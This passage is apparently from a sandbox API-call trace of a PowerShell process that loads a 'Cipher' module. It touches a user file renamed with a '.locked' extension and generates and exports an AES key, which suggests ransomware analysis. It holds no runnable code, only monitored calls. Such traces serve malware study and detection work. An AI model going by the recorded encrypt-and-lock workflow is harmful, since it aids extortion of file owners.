Data4=([0]=0x19, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.282] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.282] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.282] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.282] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.282] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.284] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aab900 | out: lpFileInformation=0x6aab900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x134139aa, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x134139aa, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x134139aa, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xad4)) returned 1 [0134.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked", lpFilePart=0x0) returned 0x44 [0134.287] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.288] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.288] CloseHandle (hObject=0x858) returned 1 [0134.289] GetConsoleOutputCP () returned 0x1b5 [0134.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.290] GetConsoleOutputCP () returned 0x1b5 [0134.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.290] GetConsoleOutputCP () returned 0x1b5 [0134.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.290] GetConsoleOutputCP () returned 0x1b5 [0134.291] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.291] GetConsoleOutputCP () returned 0x1b5 [0134.291] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.291] GetConsoleOutputCP () returned 0x1b5 [0134.292] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.292] GetConsoleOutputCP () returned 0x1b5 [0134.292] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.292] GetConsoleOutputCP () returned 0x1b5 [0134.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.293] GetConsoleOutputCP () returned 0x1b5 [0134.293] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.293] GetConsoleOutputCP () returned 0x1b5 [0134.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.294] GetConsoleOutputCP () returned 0x1b5 [0134.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.294] GetConsoleOutputCP () returned 0x1b5 [0134.294] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.295] GetConsoleOutputCP () returned 0x1b5 [0134.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.295] GetConsoleOutputCP () returned 0x1b5 [0134.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.295] GetConsoleOutputCP () returned 0x1b5 [0134.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.296] GetConsoleOutputCP () returned 0x1b5 [0134.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.296] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.297] GetConsoleOutputCP () returned 0x1b5 [0134.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.297] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.298] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad26cc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ad26cc*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.298] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.299] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.303] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.304] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.304] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.304] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.304] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.304] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.304] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.305] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.305] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.305] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.305] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.305] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.306] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0134.307] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e849f8) returned 1 [0134.307] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.307] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.307] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6adbf94, pdwDataLen=0x99ae894 | out: pbData=0x6adbf94*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xbf24\x6ad\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0134.307] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.307] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.308] SysStringLen (param_1="") returned 0x8 [0134.308] SysStringLen (param_1="h") returned 0x8 [0134.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.308] SysStringLen (param_1="\x7c73\xe52d\xd597\xa6d9\x710\x58eb\x574e\x182a") returned 0x8 [0134.308] SysStringLen (param_1="\x7c73\xe52d\xd597\xa6d9\x710\x58eb\x574e\x182a") returned 0x8 [0134.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.308] SysStringLen (param_1="h1") returned 0x8 [0134.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.308] SysStringLen (param_1="\xfb12\x9043\x900d\x27cd\x3b2e\x6ba6\x68d8\xb75") returned 0x8 [0134.308] SysStringLen (param_1="\xfb12\x9043\x900d\x27cd\x3b2e\x6ba6\x68d8\xb75") returned 0x8 [0134.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="h1t") returned 0x8 [0134.309] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="\xa4d0\x25ac\xcb57\xf89\x1624\x49d5\xe3cb\x8a3d") returned 0x8 [0134.309] SysStringLen (param_1="\xa4d0\x25ac\xcb57\xf89\x1624\x49d5\xe3cb\x8a3d") returned 0x8 [0134.309] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="h1tO") returned 0x8 [0134.309] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="\xe564\xd137\x12f2\x820d\x46b7\xb043\xfd7e\x9be0") returned 0x8 [0134.309] SysStringLen (param_1="\xe564\xd137\x12f2\x820d\x46b7\xb043\xfd7e\x9be0") returned 0x8 [0134.309] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="h1tOB") returned 0x8 [0134.309] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="\x4fd4\xf127\x8cf6\x6b8f\x77ff\x56d0\x4c15\x915f") returned 0x8 [0134.309] SysStringLen (param_1="\x4fd4\xf127\x8cf6\x6b8f\x77ff\x56d0\x4c15\x915f") returned 0x8 [0134.309] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.309] SysStringLen (param_1="h1tOBr") returned 0x8 [0134.309] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.310] SysStringLen (param_1="\xfe6b\xec9c\x9b05\x62f8\x4c1e\x3658\x35c5\x8d2a") returned 0x8 [0134.310] SysStringLen (param_1="\xfe6b\xec9c\x9b05\x62f8\x4c1e\x3658\x35c5\x8d2a") returned 0x8 [0134.310] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.310] SysStringLen (param_1="h1tOBrz") returned 0x8 [0134.310] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.310] SysStringLen (param_1="\x5f6f\x8158\x5d3d\xd775\x14b3\xd3e1\x60ad\x2b08") returned 0x8 [0134.310] SysStringLen (param_1="\x5f6f\x8158\x5d3d\xd775\x14b3\xd3e1\x60ad\x2b08") returned 0x8 [0134.310] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.310] SysStringLen (param_1="h1tOBrzB") returned 0x8 [0134.310] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.310] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468") returned 0x8 [0134.310] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468") returned 0x8 [0134.310] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468") returned 0x8 [0134.310] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468") returned 0x10 [0134.310] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.310] SysStringLen (param_1="h1tOBrzBE̾࿛斎倌荷꒻") returned 0x10 [0134.311] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x39db\xa20e\xa6c\xbed5\x1f76\xe4cc\xa1a4\x7f2") returned 0x10 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x39db\xa20e\xa6c\xbed5\x1f76\xe4cc\xa1a4\x7f2") returned 0x10 [0134.311] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="h1tOBrzBEH̾࿛斎倌荷꒻") returned 0x10 [0134.311] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x48a4\x12f5\x7102\x9c5\x2693\xcc59\x803b\x3bc0") returned 0x10 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x48a4\x12f5\x7102\x9c5\x2693\xcc59\x803b\x3bc0") returned 0x10 [0134.311] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="h1tOBrzBEHb࿛斎倌荷꒻") returned 0x10 [0134.311] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x2d7e\x4bea\xd7a3\xe60e\x91c4\xb9b8\xce67\x7015") returned 0x10 [0134.311] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x2d7e\x4bea\xd7a3\xe60e\x91c4\xb9b8\xce67\x7015") returned 0x10 [0134.311] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.311] SysStringLen (param_1="h1tOBrzBEHbl斎倌荷꒻") returned 0x10 [0134.311] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xe925\x8590\xe2ae\x783a\xfdd4\x1b3a\x51bc\x52b3") returned 0x10 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xe925\x8590\xe2ae\x783a\xfdd4\x1b3a\x51bc\x52b3") returned 0x10 [0134.312] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="h1tOBrzBEHblo倌荷꒻") returned 0x10 [0134.312] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x645a\xbacc\xdde4\xebbd\x8d53\x7b96\x42a3\xcabe") returned 0x10 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x645a\xbacc\xdde4\xebbd\x8d53\x7b96\x42a3\xcabe") returned 0x10 [0134.312] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="h1tOBrzBEHbloe荷꒻") returned 0x10 [0134.312] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xd4af\x877f\x38eb\x5670\xad26\xb79b\xe106\x78f2") returned 0x10 [0134.312] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xd4af\x877f\x38eb\x5670\xad26\xb79b\xe106\x78f2") returned 0x10 [0134.312] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.312] SysStringLen (param_1="h1tOBrzBEHbloe+꒻") returned 0x10 [0134.312] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xe3a5\xdc0a\x4202\x839b\xba02\xb277\x4761\x44ef") returned 0x10 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\xe3a5\xdc0a\x4202\x839b\xba02\xb277\x4761\x44ef") returned 0x10 [0134.313] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.313] SysStringLen (param_1="h1tOBrzBEHbloe+D") returned 0x10 [0134.313] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7") returned 0x10 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7") returned 0x10 [0134.313] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7") returned 0x10 [0134.313] 